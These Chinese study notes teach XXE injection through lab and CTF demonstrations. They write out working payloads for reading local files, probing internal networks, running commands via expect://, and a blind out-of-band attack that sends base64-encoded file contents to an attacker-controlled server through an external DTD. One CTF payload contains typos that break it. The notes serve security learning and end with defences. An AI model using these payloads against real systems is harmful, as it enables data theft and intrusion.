#概念
xml:xml被设计成传输和储存数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容。就类似于一种数据的格式,代码类的一些东西;
xxe:是xml上面的一个漏洞,也被称之为xxe实体注入,漏洞名字叫xml外部实体注入漏洞。
xml是一种数据传出的代码语言,xxe是上面的一个漏洞的全称写法。但是产生在xml上的安全问题。
#危害
文件读取,rce执行,内网攻击,dos攻击
大部分的危害都是可以加载恶意外部文件,然后造成的上面的危害
xml与html的主要差异;xml被设计为传输和储存数据,其焦点是数据的内容。html被设计用来显示数据,其焦点是数据的外观。html指在显示信息,而xml指在传输信息。
判定这个漏洞存在之后,我们该如何去利用,分为两种,第一种是输出形式,利用的结果显示,分为两种情况,一种情况是有回显,一种是回显;比如说要用文件读取,文件读取的内容数据能不能正常的给你回显看到,有回显玩法更多,。
无回显就借助外部引用,进行反向连接配合;
除了这个形式,还有一个过滤,我们绕过思路就是采用协议玩法,换一种协议去执行想要的结果,或者采用外部引用,把核心代码写到外部东西上面去,DTD上面去实现绕过,还有一种编码把一些关键词进行编码,达到关键字的绕过,根据具体情况选出不同的方案。
##演示案例,pikachu靶场
我们先不管是怎么产生的,我们发现这个靶场有这个漏洞,直接去利用他
文件读取
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://w.txt"> ]> <x>&xxe;</x>
这个代码是通用的,读取d盘下面w.txt文件的内容,在靶场的框里面直接复制粘贴
就读取到了
内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x> 作者:shtome https://www.bilibili.com/read/cv13343258/ 出处:bilibili
看内网有没有开放端口,能不能访问
也可以借助该方法触发漏洞
这个复制粘贴到靶场去
这个就表示有这么个文件,而把index.txt换成一个随便写的文件
返回的就是这种,这个就是不存在这个文件,
这个pyload就是可以帮你确定那个地址有没有那个地址存在,也属于进行了一个端口扫描,看那个端口开不开发。
可以帮忙判定一些内网的信息,
内网探测
RCE-远程代码执行
php环境需要安装expect扩展,我这边用的phpstudy集成环境,没看到这个扩展,故未验证。
这个很难碰到对面有没有开这个扩展,有没有过滤,都会影响
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
引入外部实体dtd
把恶意代码写入dtd文件,再让网站访问dtd,执行其中的代码
需要允许外部实体引用才能实现
<?xml version = "1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://192.168.31.210:8080/evil2.dtd"> %file; ]> <x>&send;</x>
可以自定义攻击代码,还可以绕过部分防御软件
那个dtd可以理解为他是上面的xml的格式文件,他去访问dtd里面内容就会当作xml语言代码去执行,
所以在dtd里面可以写一些这么内容
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/w.txt">
就会用file去读取d盘的test文件,
这个很简单就是让他去访问那个dtd文件,然后执行文件里面的xml代码,
条件:看对方代码里面有没有禁止外部实体引用,这也是一种防御手段。
类似于文件包含,类似远程包含原理,这个就是可以远程引用,核心代码在1dtd上面,第一个就是自定义攻击代码,第二种为了绕过一些防御软件代码,绕过对面有waf和检测会跟着用户行为,发现读取就会拦截等等,把核心代码放在服务器远程去请求执行核心代码。
然后直接复制粘贴那个代码
还是会显示出来内容
结果就是读取到了文件内容。
然后把靶场的源码改为无回显模式
再粘贴那个读取语句就什么都不会返回了
无回显利用
原理是自己本地搭建一个网站,xxe漏洞让目标网站带着读取到的数据访问我们的网站,然后我们再在本地日志查看数据即可。
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.31.210:8088/test.dtd">
%dtd;
%send;
]>
-----如果代码不能用就是符合的问题,英文手打一编就好-------
在上面里面用的php协议进行一个base64编码读取的test.txt的内容;读取之后会复制给变量file。
之后去访问一个远程地址dtd,
远程dtd内容://test.dtd,这里的%是%的编码,因为dtd中不能有%
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.31.210:8088/?data=%file;'>"
>
%payload;
最后这个是去访问指定地址,会把变量file给data这个变量,然后这时候就可以写一个接受代码,或者去开启一下日志查看,都可以查看到读取的内容了,
日志查看
这个文件内容的base64加密指,解码一下就好了,
不回显,就让对方去反向链接,
在ctf实战中会出现
读文件(绕过)
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
我们根据的pyload里面有一些必须要用到的关键字,对方代码有过滤,绕过思路就是编码
参考里面第一种采用编码绕过,参考里面是linux代码,别的系统要自己写个脚本
若http被过滤,就可以用参考里面的协议绕过
怎么发现这些白盒就代码审计,黑盒就自己测试。
#xxe漏洞检测
分为白盒和黑盒两种情况,白盒主要去翻他的代码函数点,搜索特定函数,数据类型。
黑盒:人工去看,或者工具去扫,一般web漏洞扫描工具都能找到xxe漏洞,我们更偏向于讲人工,判断漏洞;主要通过爬行的数据包,burp抓包,爬行,爬完之后在数据包里面批量搜索,“Content-Type” 指的判断,如果值为“text/xml”或“application/xml”,则后面的数据是XML数据。
第二种根据传输数据格式,类似“<username>admin</username>”为XML的格式
如果这两个都没有还要找这个漏洞,就需要去盲猜,没有“text/xml”或“application/xml”不代表不接受,直接更改“Content-Type”的值为“text/xml”或“application/xml”,在接收XML数据的位置提交攻击语句进行测试。
##xxe-lab(XXE漏洞靶场)
随便输入个账户密码,抓一下数据包
常规是这样爬行,然后在历史记录里面搜索特定的值,这个是靶场
在历史记录里面
可以搜索,还可以看mime类型
然后数据下面那个数据类型就可以作为注入攻击语句的地方,试一下
<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
然后发送
读取到test文件的内容了。
这个就是爬行数据包,然后批量查找有没有xml的关键字的数据包,然后打开数据包就发现了漏洞。
##CTF-Jarvis-OJ-Web-XXE安全真题:http://web.jarvisoj.com:9882/
打开靶场,go一下抓数据包,在数据包里面发现Content-Type: application/json,采用的json的数据形式,在检测漏洞里面有一个直接更爱Content-Type指,盲猜有没有,
把json改为xml,然后下面语句改为攻击语句
<?xml vesion = "1.0"?>
<!DOTYPE ANY [
<!ENTITIY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
读取到了。
##自己下整合包漏洞
用nmap去扫描
为什么会是箭头指向的扫描结果,因为只有这个ip有端口,下面那个端口特别多是老师自己,
去访问那个ip地址
是web类就可以直接用web扫描工具
老师为了节省时间跳过了这个过程,直接扫描倒了下面有这么一个文件,然后访问,发现了xxe,就可能有这个漏洞
直接访问xxe
抓一个数据包
下面就有很明显的xml语言数据传输格式,就可以在这里进行攻击
为什么语句要进行base64加密,就不用在写文件所在的地址,这样写他就当前目录下面找test.txt的文件,
读取到了xxe.php内容,拿去base64解密一下就好
在读取一下admin文件的内容看看
就发现了账户密码。
因为读的是当前目录下的文件,所以返回的也是那个目录下面的账户密码,登录也只能在那个目录的网站登录
而我们输入账户密码登录之后,给个提示,点击红色的红色的链接
进入到一个新网站啥也看不到,但是没有关系,我们可以去读取整个网址显示的文件,
根据网址信息,他在根目录下面,所以在文件之前加上./到根目录来,然后读取文件
然后返回值里面有一个base32加密指,揭秘之后是base64加密,在哪去base64解密,就告诉我们了
再去读整个文件
从最钱的那个符号可以看出来是php代码,还是php文件,输入看不懂没关系,直接复制去运行
就出来答案了
这种就是一个真实漏洞案列结合
##XXE安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
公开文章:https://www.cnblogs.com/bmjoker/p/9614990.html
XXEinjector(XXE工具):https://github.com/enjoiz/XXEinjector
##防御
禁用外部实体
国旅用户的一些xml数据提交
xxe产生根本原因,网站有接受xml数据,但是又过滤不严谨。
burp官方插件库里面有xxe漏洞检测。直接去网上搜教程就有。
ss